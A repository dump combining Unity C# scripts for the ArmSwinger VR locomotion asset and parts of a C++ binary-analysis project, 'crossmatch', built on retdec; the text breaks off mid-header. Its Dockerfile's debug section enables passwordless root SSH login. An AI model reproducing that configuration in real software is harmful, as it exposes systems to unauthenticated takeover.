<repo_name>SeanFrolander/DungeonJam2019<file_sep>/Assets/ArmSwinger/resources/scripts/SettingsDisplay.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
public class SettingsDisplay : MonoBehaviour {
/////////////////////
// CLASS VARIABLES //
/////////////////////
public enum ArmSwingerSetting {
useNonLinearMovementCurve,
maxSpeed,
swingSpeedBothControllersCoefficient,
swingSpeedSingleControllerCoefficient,
swingMode,
numHeightRaycastsToAverageAcross,
preventWallClipping,
preventClimbing,
maxAnglePlayerCanClimb,
preventFalling,
maxAnglePlayerCanFall,
preventWallWalking,
maxAnglePlayerCanWallWalk,
maxInstantHeightChange,
onlyHeightAdjustWhileArmSwinging,
stoppingInertia,
movingInertia,
stoppingInertiaTimeToStopAtMaxSpeed,
movingInertiaTimeToStopAtMaxSpeed
}
//// Public variables ////
[Tooltip("The ArmSwinger setting to display.")]
public ArmSwingerSetting armSwingerSetting;
public Color trueColor = Color.green;
public Color falseColor = Color.red;
//// Public objects ////
//// Private objects ////
ArmSwinger armSwinger;
Text display;
//////////////////////
// INITIATILIZATION //
//////////////////////
void Start() {
armSwinger = GameObject.FindObjectOfType<ArmSwinger>();
displaySetting();
}
/////////////
// COMPUTE //
/////////////
public void displaySetting() {
display = this.GetComponent<Text>();
if (display) {
switch (armSwingerSetting) {
case (ArmSwingerSetting.useNonLinearMovementCurve):
displayTrueFalse(armSwinger.useNonLinearMovementCurve, display);
break;
case (ArmSwingerSetting.maxSpeed):
display.text = armSwinger.armSwingMaxSpeed.ToString("F2");
break;
case (ArmSwingerSetting.swingSpeedBothControllersCoefficient):
display.text = armSwinger.armSwingBothControllersCoefficient.ToString("F2");
break;
case (ArmSwingerSetting.swingSpeedSingleControllerCoefficient):
display.text = armSwinger.armSwingSingleControllerCoefficient.ToString("F2");
break;
case (ArmSwingerSetting.numHeightRaycastsToAverageAcross):
display.text = armSwinger.raycastAverageHeightCacheSize.ToString();
break;
case (ArmSwingerSetting.preventWallClipping):
displayTrueFalse(armSwinger.preventWallClip, display);
break;
case (ArmSwingerSetting.preventClimbing):
displayTrueFalse(armSwinger.preventClimbing, display);
break;
case (ArmSwingerSetting.maxAnglePlayerCanClimb):
display.text = armSwinger.preventClimbingMaxAnglePlayerCanClimb.ToString("F0");
break;
case (ArmSwingerSetting.preventFalling):
displayTrueFalse(armSwinger.preventFalling, display);
break;
case (ArmSwingerSetting.maxAnglePlayerCanFall):
display.text = armSwinger.preventFallingMaxAnglePlayerCanFall.ToString("F0");
break;
case (ArmSwingerSetting.preventWallWalking):
displayTrueFalse(armSwinger.preventWallWalking, display);
break;
case (ArmSwingerSetting.maxInstantHeightChange):
display.text = armSwinger.instantHeightMaxChange.ToString("F2");
break;
case (ArmSwingerSetting.onlyHeightAdjustWhileArmSwinging):
displayTrueFalse(armSwinger.raycastOnlyHeightAdjustWhileArmSwinging, display);
break;
case (ArmSwingerSetting.stoppingInertia):
displayTrueFalse(armSwinger.stoppingInertia, display);
break;
case (ArmSwingerSetting.movingInertia):
displayTrueFalse(armSwinger.movingInertia, display);
break;
case (ArmSwingerSetting.movingInertiaTimeToStopAtMaxSpeed):
display.text = armSwinger.movingInertiaTimeToStopAtMaxSpeed.ToString("F2");
break;
case (ArmSwingerSetting.stoppingInertiaTimeToStopAtMaxSpeed):
display.text = armSwinger.stoppingInertiaTimeToStopAtMaxSpeed.ToString("F2");
break;
default:
display.text = null;
break;
}
}
}
void displayTrueFalse(bool setting, Text display) {
if (display) {
if (setting) {
display.text = "On";
display.color = trueColor;
} else {
display.text = "Off";
display.color = falseColor;
}
}
}
public void Up() {
switch (armSwingerSetting) {
case (ArmSwingerSetting.maxSpeed):
armSwinger.armSwingMaxSpeed += .25f;
break;
case (ArmSwingerSetting.swingSpeedBothControllersCoefficient):
armSwinger.armSwingBothControllersCoefficient += .05f;
break;
case (ArmSwingerSetting.swingSpeedSingleControllerCoefficient):
armSwinger.armSwingSingleControllerCoefficient += .05f;
break;
case (ArmSwingerSetting.numHeightRaycastsToAverageAcross):
armSwinger.raycastAverageHeightCacheSize++;
break;
case (ArmSwingerSetting.maxAnglePlayerCanClimb):
armSwinger.preventClimbingMaxAnglePlayerCanClimb++;
break;
case (ArmSwingerSetting.maxAnglePlayerCanFall):
armSwinger.preventFallingMaxAnglePlayerCanFall++;
break;
case (ArmSwingerSetting.maxInstantHeightChange):
armSwinger.instantHeightMaxChange += .02f;
break;
case (ArmSwingerSetting.stoppingInertiaTimeToStopAtMaxSpeed):
armSwinger.stoppingInertiaTimeToStopAtMaxSpeed += .05f;
break;
case (ArmSwingerSetting.movingInertiaTimeToStopAtMaxSpeed):
armSwinger.movingInertiaTimeToStopAtMaxSpeed += .05f;
break;
}
displaySetting();
}
public void Down () {
switch (armSwingerSetting) {
case (ArmSwingerSetting.maxSpeed):
armSwinger.armSwingMaxSpeed -= .25f;
break;
case (ArmSwingerSetting.swingSpeedBothControllersCoefficient):
armSwinger.armSwingBothControllersCoefficient -= .05f;
break;
case (ArmSwingerSetting.swingSpeedSingleControllerCoefficient):
armSwinger.armSwingSingleControllerCoefficient -= .05f;
break;
case (ArmSwingerSetting.numHeightRaycastsToAverageAcross):
armSwinger.raycastAverageHeightCacheSize--;
break;
case (ArmSwingerSetting.maxAnglePlayerCanClimb):
armSwinger.preventClimbingMaxAnglePlayerCanClimb--;
break;
case (ArmSwingerSetting.maxAnglePlayerCanFall):
armSwinger.preventFallingMaxAnglePlayerCanFall--;
break;
case (ArmSwingerSetting.maxInstantHeightChange):
armSwinger.instantHeightMaxChange -= .02f;
break;
case (ArmSwingerSetting.stoppingInertiaTimeToStopAtMaxSpeed):
armSwinger.stoppingInertiaTimeToStopAtMaxSpeed -= .05f;
break;
case (ArmSwingerSetting.movingInertiaTimeToStopAtMaxSpeed):
armSwinger.movingInertiaTimeToStopAtMaxSpeed -= .05f;
break;
}
displaySetting();
}
public void Toggle() {
switch (armSwingerSetting) {
case (ArmSwingerSetting.useNonLinearMovementCurve):
armSwinger.useNonLinearMovementCurve = !armSwinger.useNonLinearMovementCurve;
break;
case (ArmSwingerSetting.preventWallClipping):
armSwinger.preventWallClip = !armSwinger.preventWallClip;
break;
case (ArmSwingerSetting.preventClimbing):
armSwinger.preventClimbing = !armSwinger.preventClimbing;
break;
case (ArmSwingerSetting.preventFalling):
armSwinger.preventFalling = !armSwinger.preventFalling;
break;
case (ArmSwingerSetting.preventWallWalking):
armSwinger.preventWallWalking = !armSwinger.preventWallWalking;
break;
case (ArmSwingerSetting.onlyHeightAdjustWhileArmSwinging):
armSwinger.raycastOnlyHeightAdjustWhileArmSwinging = !armSwinger.raycastOnlyHeightAdjustWhileArmSwinging;
break;
case (ArmSwingerSetting.stoppingInertia):
armSwinger.stoppingInertia = !armSwinger.stoppingInertia;
break;
case (ArmSwingerSetting.movingInertia):
armSwinger.movingInertia = !armSwinger.movingInertia;
break;
}
displaySetting();
}
}
<file_sep>/Assets/ArmSwinger/resources/scripts/SettingsButton.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
public class SettingsButton : MonoBehaviour {
/////////////////////
// CLASS VARIABLES //
/////////////////////
//// Public variables ////
public enum ButtonType {
Up,
Down,
Toggle,
SwingMode
}
public SettingsDisplay settingsDisplay;
public ButtonType buttonType;
public Color pushColor = Color.green;
[Tooltip("Only if this is a Swing Mode button.")]
public ArmSwinger.ArmSwingMode swingMode;
//// Private variables ////
Color startingColor;
Vector3 startingScale;
ArmSwinger armSwinger;
//// Private objects ////
private SettingsButton[] allSwingModeButtons;
//////////////////////
// INITIATILIZATION //
//////////////////////
void Start () {
startingColor = this.GetComponent<Image>().color;
startingScale = this.transform.localScale;
allSwingModeButtons = this.transform.parent.GetComponentsInChildren<SettingsButton>();
armSwinger = GameObject.FindObjectOfType<ArmSwinger>();
if (settingsDisplay.armSwingerSetting == SettingsDisplay.ArmSwingerSetting.swingMode &&
armSwinger.armSwingMode == swingMode) {
this.GetComponent<Image>().color = pushColor;
}
}
///////////////////
// MONOBEHAVIOUR //
///////////////////
void OnTriggerEnter() {
this.GetComponent<Image>().color = pushColor;
this.transform.localScale *= 1.15f;
switch (buttonType) {
case (ButtonType.Up):
settingsDisplay.Up();
break;
case (ButtonType.Down):
settingsDisplay.Down();
break;
case (ButtonType.Toggle):
settingsDisplay.Toggle();
break;
case (ButtonType.SwingMode):
armSwinger.armSwingMode = swingMode;
foreach (SettingsButton button in allSwingModeButtons) {
button.GetComponent<Image>().color = button.startingColor;
}
this.GetComponent<Image>().color = pushColor;
break;
}
}
void OnTriggerExit() {
if (buttonType != ButtonType.SwingMode) {
this.GetComponent<Image>().color = startingColor;
}
this.transform.localScale = startingScale;
}
/////////////
// COMPUTE //
/////////////
/////////
// GET //
/////////
/////////
// SET //
/////////
}
<file_sep>/Assets/ArmSwinger/resources/scripts/ResetToDefaults.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
public class ResetToDefaults : MonoBehaviour {
void OnTriggerEnter() {
SteamVR_Fade.View(Color.black, .5f);
Invoke("reloadLevel", .5f);
}
void reloadLevel() {
SteamVR_Fade.View(Color.clear, .5f);
Application.LoadLevel(Application.loadedLevel);
}
}
<file_sep>/Assets/ArmSwinger/README.txt
********************************
*** ArmSwinger VR Locomotion ***
********************************
GitHub: https://github.com/ElectricNightOwl/ArmSwinger
Unity Asset Store: https://www.assetstore.unity3d.com/#!/content/67602
*** ArmSwinger Documentation ***
In-depth ArmSwinger documentation can be found on GitHub (https://github.com/ElectricNightOwl/ArmSwinger)
*** INSTALL INSTRUCTIONS ***
1. Create an ArmSwinger folder in your project's Assets directory
2. Download or clone the entire repository into the ArmSwinger folder
3. Ensure that SteamVR Unity Plugin has been imported into your project
4. If you haven't already, create a CameraRig prefab instance from the SteamVR Unity Plugin
5. Drag and drop the "Assets/ArmSwinger/scripts/ArmSwinger" script onto your CameraRig game object
All settings are set to sane defaults, and the script should work fine out-of-the-box.
You should seriously consider changing the following settings according to your needs:
• Raycast - Ground Layer Mask
• Prevent Wall Clip - Layer Mask
*** Support ***
Asset Store customers receive priority support from Electric Night Owl via e-mail. Please contact us with your suggestions, questions, or script issues.
E-mail: <EMAIL>
Thank you for support ArmSwinger and Electric Night Owl with your purchase!
*** Legal ***
Copyright (c) 2016 Electric Night Owl LLC
http://electricnightowl.com
This is the ArmSwinger VR Locmotion for SteamVR, purchased via the Unity Asset Store. If you purchased this package via any other channel, please contact <EMAIL>
The ArmSwinger.cs and HeaderCollider.cs scripts, as well as all documentation are released under the open source MIT License. See LICENSE.txt for details.
The ArmSwinger test scene only is released under the Unity Asset Store Terms of Service and EULA (https://unity3d.com/legal/as_terms).
<file_sep>/Assets/ArmSwinger/resources/scripts/PositionReset.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class PositionReset : MonoBehaviour {
/////////////////////
// CLASS VARIABLES //
/////////////////////
//// Public variables ////
//// Public objects ////
//// Private variables ////
private Valve.VR.EVRButtonId menuButton = Valve.VR.EVRButtonId.k_EButton_ApplicationMenu;
bool leftMenuButtonDown = false;
bool rightMenuButtonDown = false;
//// Private objects ////
private SteamVR_ControllerManager controllerManager;
private GameObject leftControllerGameObject;
private GameObject rightControllerGameObject;
private SteamVR_TrackedObject leftControllerTrackedObj;
private SteamVR_TrackedObject rightControllerTrackedObj;
private SteamVR_Controller.Device leftController;
private SteamVR_Controller.Device rightController;
private int leftControllerIndex;
private int rightControllerIndex;
private ArmSwinger armSwinger;
//////////////////////
// INITIATILIZATION //
//////////////////////
void Start () {
// Find an assign components and objects
controllerManager = GameObject.FindObjectOfType<SteamVR_ControllerManager>();
leftControllerGameObject = controllerManager.left;
rightControllerGameObject = controllerManager.right;
leftControllerTrackedObj = leftControllerGameObject.GetComponent<SteamVR_TrackedObject>();
rightControllerTrackedObj = rightControllerGameObject.GetComponent<SteamVR_TrackedObject>();
armSwinger = GameObject.FindObjectOfType<ArmSwinger>();
}
////////////
// UPDATE //
////////////
void Update () {
// If ArmSwinger is using the menu button as the activator, avoid overwriting it. Instead, just disable this module.
if (armSwinger.armSwingButton == ArmSwinger.ControllerButton.Menu) {
return;
}
// Assign controllers
// Left
leftControllerIndex = (int) leftControllerTrackedObj.index;
if (leftControllerIndex != -1) {
leftController = SteamVR_Controller.Input(leftControllerIndex);
}
// Right
rightControllerIndex = (int) rightControllerTrackedObj.index;
if (rightControllerIndex != -1) {
rightController = SteamVR_Controller.Input(rightControllerIndex);
}
// Store controller button states
getControllerButtons();
if (leftMenuButtonDown || rightMenuButtonDown) {
SteamVR_Fade.View(Color.black, .5f);
Invoke("moveToWallOSettings", .5f);
}
}
///////////////////
// MONOBEHAVIOUR //
///////////////////
/////////////
// COMPUTE //
/////////////
// Sets the button variables each frame
void getControllerButtons() {
if (leftController != null) {
leftMenuButtonDown = leftController.GetPressDown(menuButton);
}
if (rightController != null) {
rightMenuButtonDown = rightController.GetPressDown(menuButton);
}
}
void moveToWallOSettings() {
armSwinger.moveCameraRig(new Vector3(30.5f, 0, 11.695f));
SteamVR_Fade.View(Color.clear, .5f);
}
/////////
// GET //
/////////
/////////
// SET //
/////////
}
|
70e9a54cf5f2f379d0454ec75659495008a4f5c8
|
[
"C#",
"Text"
] | 5
|
C#
|
SeanFrolander/DungeonJam2019
|
2fd6a537180c9cb67e9ce35184a237d96ec62b47
|
92692b1ff6019994b77dc68d9aa4661e0eda8536
|
refs/heads/main
|
<file_sep>cmake_minimum_required(VERSION 3.6)
project(crossmatch)
find_package(retdec 4.0 REQUIRED
COMPONENTS
retdec
llvm
llvmir2hll
)
set(CMAKE_CXX_STANDARD 17)
if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU")
add_compile_options(-g -Wall -Wextra -Werror)
endif()
set(CROSSMATCH_SRC
src/Main.cpp
src/Crossmatch.cpp
src/Function.cpp
src/Log.cpp
src/Program.cpp
src/StructuralAnalysis.cpp
src/Config.cpp
src/Utility.cpp
src/Graph.cpp
src/Dominator.cpp
src/Tarjan.cpp
)
include_directories(include/)
add_executable(crossmatch ${CROSSMATCH_SRC})
target_link_libraries(crossmatch
retdec::retdec
retdec::deps::llvm
retdec::llvmir2hll
)<file_sep>#pragma once
#include <map>
#include <vector>
#include <set>
#include "Utility.hpp"
namespace crossmatch
{
enum class CFGEdgeType
{
None, Jmp, Fallthrough, CallFallthrough
};
struct EdgeClass
{
size_t tree_edges{0};
size_t forward_edges{0};
size_t cross_edges{0};
size_t back_edges{0};
};
class Graph {
public:
using GraphMap = std::map<Addr, std::set<Addr>>;
using VertexLevels = std::map<Addr, std::size_t>;
using Visited = std::map<Addr, bool>;
Graph() = default;
struct EdgeClassHelper
{
Visited visited;
std::map<Addr, int> num;
int index{0};
EdgeClass edge_class;
};
const std::set<Addr>& operator[](Addr vertex) const;
GraphMap::iterator begin();
GraphMap::iterator end();
GraphMap::const_iterator begin() const;
GraphMap::const_iterator end() const;
std::size_t size() const;
void AddEdge(const Addr &src_vertex, const Addr &dst_vertex, CFGEdgeType type = CFGEdgeType::None);
void AddEdge(const Addr &src_vertex, const std::set<Addr> &dst_vec);
void AddEdgeType(const Addr &src_vertex, const Addr &dst_vertex, CFGEdgeType type);
CFGEdgeType GetEdgeType(const Addr &src_vertex, const Addr &dst_vertex) const;
bool AddVertex(const Addr &vertex);
void RemoveVertex(const Addr &vertex);
void RemoveEdge(const Addr &src_vertex, const Addr &dst_vertex);
std::size_t GetMaxDepth(const Addr &start_vertex) const;
EdgeClass GetEdgeClass() const;
bool HasVertex(const Addr &vertex) const;
std::set<Addr> GetPreds(const Addr &vertex) const;
std::set<Addr> GetSuccs(const Addr &vertex) const;
std::string GetBitSignature(const Addr &start_vertex) const;
private:
VertexLevels GetVertexLevels(const Addr &start_vertex) const;
void GetBitSignatureInternal(const Addr &vertex, Visited &visited, std::string &signature) const;
void GetEdgeClassInternal(const Addr &vertex, EdgeClassHelper &helper) const;
private:
GraphMap m_graph;
std::map<Addr, std::map<Addr, CFGEdgeType>> m_edge_types;
};
}<file_sep>#pragma once
#include <string>
#include "StructuralInfo.hpp"
namespace crossmatch
{
class Function {
public:
Function(const std::string &function_name);
std::string GetName() const;
void SetStructuralInfo(const StructuralInfo &si);
private:
std::string m_function_name{""};
StructuralInfo m_structural_info;
};
}<file_sep>#include "Crossmatch.hpp"
#include "Log.hpp"
#include "Config.hpp"
int main(int argc, char *argv[])
{
(void)argc;
(void)argv;
crossmatch::log->SetLevel(crossmatch::Level::DEBUG);
crossmatch::config = std::make_unique<crossmatch::Config>("./config.json");
crossmatch::Crossmatch cm;
cm.LoadProgram("./samples/test");
return 0;
}<file_sep>#pragma once
#include <optional>
#include <string>
#include <retdec/retdec.h>
namespace crossmatch
{
using Addr = retdec::common::Address;
}
namespace crossmatch::utility
{
std::optional<std::string> ReadFileContent(const std::string &path);
}<file_sep>#pragma once
#include <string>
#include <map>
#include "Graph.hpp"
namespace crossmatch
{
// constants
const std::size_t MaxNumOfBBs = 1000;
enum class CyclomaticComplexity : unsigned
{
Normal = 11, // >= 0 && < 11 -> normal
Moderate = 21, // >= 11 && < 21 -> moderate
Risky = 40, // >= 21 && < 41 -> risky
Unstable = 41 // >= 40 -> unstable
};
struct StructuralInfo
{
std::size_t bb_count{0};
std::size_t folded_bb_count{0};
std::size_t entry_points{0};
std::size_t exit_points{0};
std::size_t inlinks{0};
std::size_t unique_inlinks{0};
std::size_t outlinks{0};
std::size_t unique_outlinks{0};
EdgeClass edge_class;
std::size_t scc{0};
std::size_t self_loops{0};
std::size_t scc_loops{0};
std::string cfg_dfs_bitsig{""};
std::string dom_dfs_bitsig{""};
std::string folded_dfs_bitsig{""};
std::string folded_dom_dfs_bitsig{""};
unsigned cyc_complexity{0};
CyclomaticComplexity cyc_complexity_range;
int callgraph_depth{0};
int callgraph_dom_depth{0};
std::size_t depth{0};
};
// loaded from configuration file
struct StructuralWeights
{
std::size_t bb_count{0};
std::size_t entry_points{0};
std::size_t exit_points{0};
std::size_t inlinks{0};
std::size_t unique_inlinks{0};
std::size_t outlinks{0};
std::size_t unique_outlinks{0};
std::size_t loops{0};
std::size_t forward_edges{0};
std::size_t cross_edges{0};
std::size_t back_edges{0};
std::size_t basis_edges{0};
std::size_t cfg_bitsig{0};
std::size_t folded_cfg_bitsig{0};
std::size_t dom_bitsig{0};
std::size_t folded_dom_bitsig{0};
std::size_t cyc_complexity{0};
std::size_t callgraph_depth{0};
std::size_t callgraph_dom_depth{0};
};
}<file_sep>#pragma once
#include <functional>
#include "Graph.hpp"
namespace crossmatch
{
class Dominator {
public:
Dominator(Graph &graph, const Addr &vertex);
Dominator(const Dominator&) = delete;
Dominator &operator=(const Dominator&) = delete;
Graph BuildTree() const;
private:
void Algorithm(const Addr &vertex);
void DepthFirstSearch(const Addr &vertex);
Addr Evaluate(const Addr &vertex);
void Compress(const Addr &vertex);
void Link(const Addr &vertex_a, const Addr &vertex_b);
private:
Graph::GraphMap m_bucket;
Graph::GraphMap m_pred;
std::map<Addr, Addr> m_label;
std::map<Addr, Addr> m_parent;
std::map<Addr, Addr> m_ancestor;
std::map<Addr, Addr> m_dom;
std::map<Addr, std::size_t> m_semi;
std::map<std::size_t, Addr> m_vertex;
std::size_t m_N{0};
Graph &m_graph;
};
}<file_sep>#pragma once
#include <map>
#include <string>
#include <set>
#include <llvm/Analysis/CallGraph.h>
#include <llvm/IR/Module.h>
#include "Function.hpp"
namespace crossmatch
{
class Program {
public:
Program(const std::string &path);
private:
void Load(const std::string &path);
void StructuralPass(const llvm::Module::FunctionListType &functions, llvm::CallGraph &callgraph);
void SemanticPass(const llvm::Module::FunctionListType &functions);
private:
std::string m_program_path{""};
std::map<std::string, Function> m_functions;
};
}<file_sep>#include "StructuralAnalysis.hpp"
#include "Log.hpp"
#include <llvm/IR/Function.h>
#include <llvm/ADT/DepthFirstIterator.h>
namespace crossmatch
{
bool StructuralAnalysis::Analyze(Program &program, const llvm::Function &function, llvm::CallGraph &callgraph)
{
StructuralInfo si;
log->debug("[StructuralAnalysis::Analyze] Structural analysis of function '%s'", function.getName().data());
if(const auto &basic_blocks = function.getBasicBlockList(); basic_blocks.size() > MaxNumOfBBs)
{
log->info("[StructuralAnalysis::Analyze] Skipping function '%s' because it has %d bbs", function.getName().data(), basic_blocks.size());
return false;
}
(void)program;
si.callgraph_depth = GetCallgraphDepth(function, callgraph);
return true;
}
int StructuralAnalysis::GetCallgraphDepth(const llvm::Function &function, llvm::CallGraph &callgraph) const
{
for(auto it = llvm::df_begin(&callgraph); it != llvm::df_end(&callgraph); it++)
{
if(auto f = it->getFunction(); f && f->getName().equals(function.getName()))
{
auto depth = it.getPathLength();
log->debug("[StructuralAnalysis::GetCallgraphDepth] Function '%s' depth: %d", f->getName().data(), depth);
return depth;
}
}
return -1;
}
}<file_sep>#include "Graph.hpp"
#include <queue>
namespace crossmatch
{
void Graph::AddEdge(const Addr &src_vertex, const Addr &dst_vertex, CFGEdgeType type)
{
if(!m_graph.count(src_vertex))
{
AddVertex(src_vertex);
}
AddVertex(dst_vertex);
m_graph[src_vertex].insert(dst_vertex);
AddEdgeType(src_vertex, dst_vertex, type);
}
void Graph::AddEdge(const Addr &src_vertex, const std::set<Addr> &dst_vec)
{
if(!m_graph.count(src_vertex))
{
AddVertex(src_vertex);
}
for(const auto &dst : dst_vec)
{
AddVertex(dst);
m_graph[src_vertex].insert(dst);
}
}
void Graph::AddEdgeType(const Addr &src_vertex, const Addr &dst_vertex, CFGEdgeType type)
{
if(!m_graph.count(src_vertex))
{
m_edge_types[src_vertex] = {};
}
m_edge_types[src_vertex][dst_vertex] = type;
}
CFGEdgeType Graph::GetEdgeType(const Addr &src_vertex, const Addr &dst_vertex) const
{
if(!m_edge_types.count(src_vertex) || !m_edge_types.at(src_vertex).count(dst_vertex))
{
return CFGEdgeType::None;
}
else
{
return m_edge_types.at(src_vertex).at(dst_vertex);
}
}
bool Graph::AddVertex(const Addr &vertex)
{
if(m_graph.count(vertex))
{
return false;
}
else
{
m_graph.insert({vertex, std::set<Addr>{}});
return true;
}
}
void Graph::RemoveVertex(const Addr &vertex)
{
m_graph.erase(vertex);
}
void Graph::RemoveEdge(const Addr &src_vertex, const Addr &dst_vertex)
{
if(m_graph.count(src_vertex) && m_graph.at(src_vertex).count(dst_vertex))
{
m_graph.at(src_vertex).erase(dst_vertex);
m_edge_types.at(src_vertex).erase(dst_vertex);
}
}
Graph::VertexLevels Graph::GetVertexLevels(const Addr &start_vertex) const
{
Visited visited;
std::queue<Addr> queue;
VertexLevels levels;
for(const auto &v : m_graph)
{
levels[v.first] = 0;
}
queue.push(start_vertex);
levels[start_vertex] = 0;
levels[start_vertex] = true;
while(!queue.empty())
{
auto vertex = queue.front();
queue.pop();
for(const auto &v : m_graph.at(vertex))
{
if(!visited[v])
{
queue.push(v);
levels[v] = levels[vertex] + 1;
visited[v] = true;
}
}
}
return levels;
}
std::size_t Graph::GetMaxDepth(const Addr &start_vertex) const
{
std::size_t depth{0};
// TODO: std::sort?
for(const auto &v : GetVertexLevels(start_vertex))
{
if(v.second > depth)
{
depth = v.second;
}
}
return depth;
}
std::set<Addr> Graph::GetPreds(const Addr &vertex) const
{
std::set<Addr> preds;
for(const auto &v : m_graph)
{
if(v.second.count(vertex))
{
preds.insert(v.first);
}
}
return preds;
}
std::set<Addr> Graph::GetSuccs(const Addr &vertex) const
{
if(!m_graph.count(vertex))
{
return {};
}
else
{
return m_graph.at(vertex);
}
}
std::string Graph::GetBitSignature(const Addr &start_vertex) const
{
if(!m_graph.count(start_vertex))
{
return "";
}
Visited visited;
std::string signature;
signature.reserve(m_graph.size() * 2);
GetBitSignatureInternal(start_vertex, visited, signature);
return signature;
}
void Graph::GetBitSignatureInternal(const Addr &vertex, Visited &visited, std::string &signature) const
{
visited[vertex] = true;
signature += "1";
for(const auto &v : m_graph.at(vertex))
{
if(!visited[v])
{
GetBitSignatureInternal(v, visited, signature);
}
}
signature += "0";
}
EdgeClass Graph::GetEdgeClass() const
{
EdgeClassHelper helper;
for(const auto &v : m_graph)
{
if(helper.num[v.first] == 0)
{
GetEdgeClassInternal(v.first, helper);
}
}
return helper.edge_class;
}
void Graph::GetEdgeClassInternal(const Addr &vertex, EdgeClassHelper &helper) const
{
helper.num[vertex] = helper.index++;
helper.visited[vertex] = true;
for(const auto &v : m_graph.at(vertex))
{
if(helper.num[v] == 0)
{
helper.edge_class.tree_edges++;
GetEdgeClassInternal(v, helper);
}
else if(helper.num[v] > helper.num[vertex])
{
helper.edge_class.forward_edges++;
}
else if(!helper.visited[v])
{
helper.edge_class.cross_edges++;
}
else
{
helper.edge_class.back_edges++;
}
}
}
Graph::GraphMap::iterator Graph::begin()
{
return m_graph.begin();
}
Graph::GraphMap::iterator Graph::end()
{
return m_graph.end();
}
Graph::GraphMap::const_iterator Graph::begin() const
{
return m_graph.begin();
}
Graph::GraphMap::const_iterator Graph::end() const
{
return m_graph.end();
}
std::size_t Graph::size() const
{
return m_graph.size();
}
const std::set<Addr>& Graph::operator[](Addr vertex) const
{
return m_graph.at(vertex);
}
bool Graph::HasVertex(const Addr &vertex) const
{
return m_graph.count(vertex);
}
}<file_sep>#pragma once
#include "StructuralInfo.hpp"
#include "Function.hpp"
#include "Program.hpp"
namespace crossmatch
{
class StructuralAnalysis {
public:
bool Analyze(Program &program, const llvm::Function &function, llvm::CallGraph &callgraph);
private:
int GetCallgraphDepth(const llvm::Function &function, llvm::CallGraph &callgraph) const;
};
}<file_sep>#include "Crossmatch.hpp"
namespace crossmatch
{
Crossmatch::Crossmatch()
{
}
void Crossmatch::LoadProgram(const std::string &path)
{
m_program = std::make_unique<Program>(path);
}
}<file_sep>FROM ubuntu:20.04
ENV DEBIAN_FRONTEND noninteractive
# RETDEC
RUN apt-get update
RUN apt-get install -y build-essential cmake git openssl libssl-dev python3 autoconf automake libtool pkg-config m4 zlib1g-dev upx doxygen graphviz ssh openssh-server gdb libcapstone-dev libcapstone3 rapidjson-dev
WORKDIR /retdec
RUN wget https://github.com/avast/retdec/releases/download/v4.0/retdec-v4.0-ubuntu-64b.tar.xz
RUN tar -xf retdec-v4.0-ubuntu-64b.tar.xz
WORKDIR /retdec/retdec
RUN cp -r ./bin/* /usr/local/bin/
RUN cp -r ./include/* /usr/local/include/
RUN cp -r ./lib/* /usr/local/lib/
RUN cp -r ./share/* /usr/local/share/
# CROSSMATCH
WORKDIR /app
COPY src src/
COPY include include/
COPY samples samples/
COPY CMakeLists.txt .
COPY config.json .
RUN cmake -G "Unix Makefiles" .
RUN make -j 6
# TOOLS
RUN apt-get install vim -y
# DEBUG
RUN sed -ri 's/#PermitEmptyPasswords no/PermitEmptyPasswords yes/' /etc/ssh/sshd_config
RUN sed -ri 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
RUN sed -ri 's/^UsePAM yes/UsePAM no/' /etc/ssh/sshd_config
RUN passwd -d root
RUN /etc/init.d/ssh start
CMD ["/usr/sbin/sshd", "-D"]
<file_sep>#include "Function.hpp"
namespace crossmatch
{
Function::Function(const std::string &function_name)
: m_function_name{function_name}
{
}
void Function::SetStructuralInfo(const StructuralInfo &si)
{
m_structural_info = si;
}
std::string Function::GetName() const
{
return m_function_name;
}
}<file_sep>#include "Log.hpp"
#include <cstdarg>
namespace crossmatch
{
std::unique_ptr<Log> log = std::make_unique<Log>();
Log::Log()
{
}
Log::Log(const Level &level)
: m_log_level(level)
{
}
void Log::SetLevel(const Level &level)
{
m_log_level = level;
}
Level Log::GetLevel() const
{
return m_log_level;
}
void Log::trace(const std::string &msg...)
{
if(Level::TRACE >= m_log_level)
{
va_list args;
va_start(args, msg);
this->LogInternal(Level::TRACE, msg, args);
va_end(args);
}
}
void Log::debug(const std::string &msg...)
{
if(Level::DEBUG >= m_log_level)
{
va_list args;
va_start(args, msg);
this->LogInternal(Level::DEBUG, msg, args);
va_end(args);
}
}
void Log::info(const std::string &msg...)
{
if(Level::INFO >= m_log_level)
{
va_list args;
va_start(args, msg);
this->LogInternal(Level::INFO, msg, args);
va_end(args);
}
}
void Log::warning(const std::string &msg...)
{
if(Level::WARNING >= m_log_level)
{
va_list args;
va_start(args, msg);
this->LogInternal(Level::WARNING, msg, args);
va_end(args);
}
}
void Log::error(const std::string &msg...)
{
if(Level::ERROR >= m_log_level)
{
va_list args;
va_start(args, msg);
this->LogInternal(Level::ERROR, msg, args);
va_end(args);
}
}
void Log::LogInternal(const Level &level, const std::string &msg, va_list args)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::string final_msg = LevelToString(level) + " " + msg + "\n";
vprintf(final_msg.c_str(), args);
}
std::string Log::LevelToString(const Level &level) const
{
switch(level)
{
case Level::TRACE: return "TRACE";
case Level::DEBUG: return "DEBUG";
case Level::ERROR: return "ERROR";
case Level::INFO: return "INFO";
case Level::WARNING: return "WARNING";
}
return "";
}
}<file_sep>#pragma once
#include <mutex>
#include <iostream>
#include <memory>
namespace crossmatch
{
enum class Level
{
TRACE = 0,
DEBUG = 1,
INFO = 2,
WARNING = 3,
ERROR = 4
};
class Log;
extern std::unique_ptr<Log> log;
class Log {
public:
Log();
Log(const Level &level);
void SetLevel(const Level &level);
Level GetLevel() const;
void trace(const std::string &msg...);
void debug(const std::string &msg...);
void info(const std::string &msg...);
void warning(const std::string &msg...);
void error(const std::string &msg...);
private:
void LogInternal(const Level &level, const std::string &msg, va_list args);
std::string LevelToString(const Level &level) const;
private:
Level m_log_level{Level::DEBUG};
std::mutex m_mutex;
};
}<file_sep>#pragma once
#include <rapidjson/document.h>
#include <string>
#include <memory>
#include "StructuralInfo.hpp"
namespace crossmatch
{
